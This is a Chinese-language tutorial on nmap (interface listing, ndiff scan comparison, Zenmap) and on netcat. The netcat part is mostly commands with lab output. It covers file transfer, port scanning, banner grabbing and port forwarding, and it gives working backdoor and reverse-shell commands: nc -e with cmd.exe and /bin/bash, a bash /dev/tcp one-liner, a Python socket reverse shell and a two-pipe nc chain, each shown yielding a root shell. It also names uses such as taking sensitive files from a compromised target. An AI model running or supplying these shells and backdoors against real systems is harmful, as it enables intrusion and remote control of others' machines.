# nmap --iflist Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 22:49 CST ************************INTERFACES************************ DEV (SHORT) IP/MASK TYPE UP MTU MAC vethb96df0d (vethb96df0d) (none)/0 ethernet up 1500 76:53:02:6D:36:71 eth0 (eth0) 10.0.4.12/22 ethernet up 1500 52:54:00:17:75:51 lo (lo) 127.0.0.1/8 loopback up 65536 docker0 (docker0) 172.17.0.1/16 ethernet up 1500 02:42:83:C5:09:E2 **************************ROUTES************************** DST/MASK DEV METRIC GATEWAY 10.0.4.0/22 eth0 0 172.17.0.0/16 docker0 0 169.254.0.0/16 eth0 1002 0.0.0.0/0 eth0 0 10.0.4.1
对比扫描结果 ndiff
情景介绍
对某个网络进行探测的时候,有可能之前有探测过的结果,现在探测过后,需要对之前的结果与现在的结果来对比,找到两次不同点。
监视网络变化,达到网络监控的目的。
工具 ndiff 介绍
在 Nmap 整个工程中,除了主要的 nmap 工具外,还包括很多其他工具。如接下来要使用到的 ndiff 工具。
# ndiff -h Usage: /usr/local/bin/ndiff [option] FILE1 FILE2 Compare two Nmap XML files and display a list of their differences. Differences include host state changes, port state changes, and changes to service and OS detection. -h, --help display this help -v, --verbose also show hosts and ports that haven't changed. --text display output in text format (default) --xml display output in XML format
比较 Nmap 两次扫描结果
格式
ndiff File Filed
范例:
nmap -A -v -T4 192.168.1.102 -oX kali.xml nmap -A -v -T4 192.168.1.102 -oX kali2.xml #对比 ndiff kali.xml kali2.xml
可视化 nmap 的使用
Nmap 命令参数复杂,组合类型多种多样,如果使用命令行类型的 nmap 需要记忆大量命令,但是使用可视化 Nmap(Zenmap),就不存在这样的问题了。但同时也会比较占用资源
在安装 Nmap 的同时,会自动安装可视化 Nmap。
在“配置-配置编辑器”定制自己的扫描策略。
netcat 网络瑞士军刀
- Netcat 基本使用
- Netcat 文件传输
- Netcat 信息探测
- Netcat 建立后门
- Netcat 命令参数
- Netcat 连接转发
- Netcat 返回 shell(Bash)
- Netcat 返回 shell(Python)
- Netcat 返回 shell(不支持 nc -e)
Netcat 基本使用
介绍
在网络工具中有“瑞士军刀”美誉的 NetCat,在我们用了 N 年了至今仍爱不释手。这是一个非常简单易用的基于 tcp/ip 协议(c/s 模型的)的“瑞士军刀”。
官网下载:https://netcat.sourceforge.net/
windows 下载:https://eternallybored.org/misc/netcat/
安装
#windows #解压即可使用。将 nc.exe 加入环境环境变量 #kali yum install nc
使用场景
客户端–防火墙–服务器
正常客户端主动连接可能被防火墙拒绝。突破网络限制需要穿透,客户端充当 nc 服务端,服务器充当 nc 客户端。
基础使用方法
- 创建一个服务端方法
nc -l -p [localport]
- 创建一个客户端方法
nc [remote_addr] [remoteport]
范例:nc 聊天通信,并不能对机器进行命令操作
#nc 服务端 nc -l 4444 #nc 客户端 nc 192.168.1.102 4444
返回 shell 的使用
-e 返回一个程序
范例:返回 shell 的使用
#nc 服务端 nc64.exe -l -p 4444 -e cmd.exe #nc 客户端 └─# nc 192.168.1.39 4444 Microsoft Windows [Version 10.0.19045.3803] (c) Microsoft Corporation. All rights reserved. D:\Program Files (x86)\safe\netcat-1.11>chcp 437 #防止输出乱码 chcp 437 Active code page: 437 D:\Program Files (x86)\safe\netcat-1.11>dir dir Volume in drive D is DATA Volume Serial Number is FA51-056A Directory of D:\Program Files (x86)\safe\netcat-1.11 2023-12-17 01:27 <DIR> . 2023-12-17 01:27 <DIR> .. 2004-12-28 11:23 12,166 doexec.c 1996-07-09 16:01 7,283 generic.h 1996-11-06 22:40 22,784 getopt.c 1994-11-03 19:07 4,765 getopt.h 1998-02-06 15:50 61,780 hobbit.txt 2004-12-27 17:37 18,009 license.txt 2010-12-26 13:31 301 Makefile 2010-12-26 13:26 36,528 nc.exe 2010-12-26 13:31 43,696 nc64.exe 2004-12-29 13:07 69,662 netcat.c 2004-12-27 17:44 6,833 readme.txt 11 File(s) 283,807 bytes 2 Dir(s) 28,979,978,240 bytes free
Netcat 文件传输
使用场景
- 取证
当目标机器被黑客攻击后,取证人员可以利用 nc 的文件传输功能来获取目标机器上的文件内容。
避免直接在目标机器上进行操作造成取证的误差。 - 单纯获取目标机器敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用 nc 进行文件传输
为什么可以直接利用 nc 进行文件传输?
因为 nc 中的传输使用的是标准输入、标准输出流,所以可以直接利用命令行来进行操作。
文件传输的使用方法
文件传输方案:监听者为接收方
nc -l PORT > /PATH/TO/SOMEFILE # 服务方监听端口并将数据写入文件
nc IP PORT < /PATH/FROM/SOMEFILE # 客户方向服务方IP 端口传输数据
文件传输方案:监听者为接收方
nc -l PORT < /PATH/FROM/SOMEFILE
nc IP PORT > /PATH/TO/SOMEFILE
注意:传输目录需要先归档;
设置等待时间,防止等待“假死”
- nc -w3 IP PORT 设置 3 秒等待,客户端直接关闭连接。
Netcat 信息探测
使用场景
- 目标内网的扫描
当获得目标权限后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个 netcat 的话,就可以使用 netcat 进行内网 ip 和端口扫描。 - 单纯对某个目标进行端口探测
当手头没有任何探测工具时,可以使用 netcat 进行端口探测 - 对目标的服务 banner 进行抓取
通过 netcat 对目标端口进行探测
端口扫描使用方法
- -v 表示对错误进行详细输出
- -n 不对目标机器进行 DNS 解析
- -z zero I/O 模式,专用于端口扫描。表示对目标 IP 发送的数据表中不包含任何 payload,这样做可以加快扫描速度
- -w1 超时设置为 1 秒
范例: 扫描目标开放 1-1000 之间的端口
nc -v -n -z -w1 192.168.1.39 1-1000
Banner 抓取
echo " "| nc -v -n -w1 [target_ip] [start_port-end_port]
范例:抓取 1-1000 端口信息
echo " "|nc -v -n -z -w1 192.168.1.39 1-1000
Netcat 建立后门
使用场景
- 获取目标的命令执行权限
当目标机器存在 netcat 后,可以使用 netcat 建立后门,来实现执行目标命令的功能。
为什么可以使用 netcat 建立后门,并返回操作结果?
因为 netcat 一切数据都是通过标准输入、标准输出流实现。
windows 建立后门方法
nc -l -p 4444 -e cmd.exe # 监听后门
nc [remot_ip] [remote_port] -e cmd # 连接型后门
无法哪种后门都是用 -e cmd.exe
来返回对应的 cmd.exe
范例:监听后门
#nc 服务端 nc64.exe -l -p 4444 -e cmd.exe #nc 客户端 └─# nc 192.168.1.39 4444 Microsoft Windows [Version 10.0.19045.3803] (c) Microsoft Corporation. All rights reserved. D:\Program Files (x86)\safe\netcat-1.11>chcp 437 #防止输出乱码 chcp 437 Active code page: 437 D:\Program Files (x86)\safe\netcat-1.11>dir dir Volume in drive D is DATA Volume Serial Number is FA51-056A Directory of D:\Program Files (x86)\safe\netcat-1.11 2023-12-17 01:27 <DIR> . 2023-12-17 01:27 <DIR> .. 2004-12-28 11:23 12,166 doexec.c 1996-07-09 16:01 7,283 generic.h 1996-11-06 22:40 22,784 getopt.c 1994-11-03 19:07 4,765 getopt.h 1998-02-06 15:50 61,780 hobbit.txt 2004-12-27 17:37 18,009 license.txt 2010-12-26 13:31 301 Makefile 2010-12-26 13:26 36,528 nc.exe 2010-12-26 13:31 43,696 nc64.exe 2004-12-29 13:07 69,662 netcat.c 2004-12-27 17:44 6,833 readme.txt 11 File(s) 283,807 bytes 2 Dir(s) 28,979,978,240 bytes free
Linux 建立后门
nc -l -p 4444 -e /bin/bash # 监听后门
nc [remot_ip] [remote_port] -e /bin/bash # 连接型后门
范例:连接型后门
└─# nc 192.168.1.39 4444 -e /bin/bash PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -l -p 4444 id uid=0(root) gid=0(root) groups=0(root)
Netcat 命令参数
-h 查看帮助 -d 脱离命令窗口,在后台运行,常用于后门建立过程。如 nc -l -p 4444 -d -e 执行某个程序,常用于后门建立过程 -G gateway 设置网关,常用于突破内网限制 -g num 路由跳数 -i sec 设置发送每一行数据的时间间隔 -l 设置监听 -L 设置监听,当客户端断开,服务端依旧回到等待状态。 -n 只识别 ip 地址,不进行 dns 解析 -o file 设置传输十六进制的数据 -p port 设置本地监听的端口号 -r 设置随机端口号 -s addr 设置源地址。隐藏自己真实的 ip 地址 -t 回复 telnet 的请求数据包 -u 使用 UDP 模式,默认 TCP 协议 -v 显示错误信息 -w secs 设置连接超时秒数 -z 设置扫描模式,表示发送的数据包中不包含任何 payload,加速扫描速度
Netcat 连接转发
echo nc [target] [port] > delay.bat
nc -l -p [localport] -e delay.bat
当有客户端连接该服务端时,连接的客户端会通过服务端连接到 target port 上,实现了连接转发功能(端口转发)
范例
#内网机器1 192.168.146.128 nc -l -p 4444 #内网机器2 windows 下批处理文件 delay.bat 内容 nc64.exe 192.168.146.128 4444 #内网机器2 windows 启动监听 nc64.exe -l -p 4445 -e delay.bat #kali 连接 内网机器 2 的外部地址 nc 192.168.1.105 4445
Netcat 返回 shell(Bash)
应用场景
某些拿到服务器权限之后,想要设置一个反弹 shell。但是目标服务器上没有安装 netcat时。
基础介绍
反弹 shell 命令: bash -i >& /dev/tcp/[IP|Domain]/PORT 0>&1
PC 端接收 Netcat命令: nc -lvp PORT
#pc nc -lvp 4445 #kali bash -i >& /dev/tcp/192.168.1.100/4445 0>&1
bash -i 表示启用交互模式 bash shell。
Netcat 返回 shell(Python)
返弹 shell 命令
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
PC 接收 Netcat命令: nc -lvp PORT
范例:
#pc nc64.exe -lvp 4445 #kali └─# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.39',4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
s.fileno() 查看具体套接字建立的文件描述符
os 库的 dup2 方法将标准输入、输出、错误重定向到远程。
Netcat 返回 shell(不支持 nc -e)
netcat 不支持 -e 参数的情况。
反弹 shell 命令: nc IP PORT1 | /bin/bash | nc IP PORT2
前面用于连接,后面用于输出
PC 接收 Netcat 命令: nc -lvp PORT
需要启动 2 个监听端口
范例
# PC nc64.exe -lvp 4445 nc64.exe -lvp 4446 #kali nc 192.168.1.39 4445 | /bin/bash | nc 192.168.1.39 4446 #PC 4445 输入命令,4446 输出结果 PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -l -p 4445 id PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -lvp 4446 listening on [any] 4446 ... uid=0(root) gid=0(root) groups=0(root)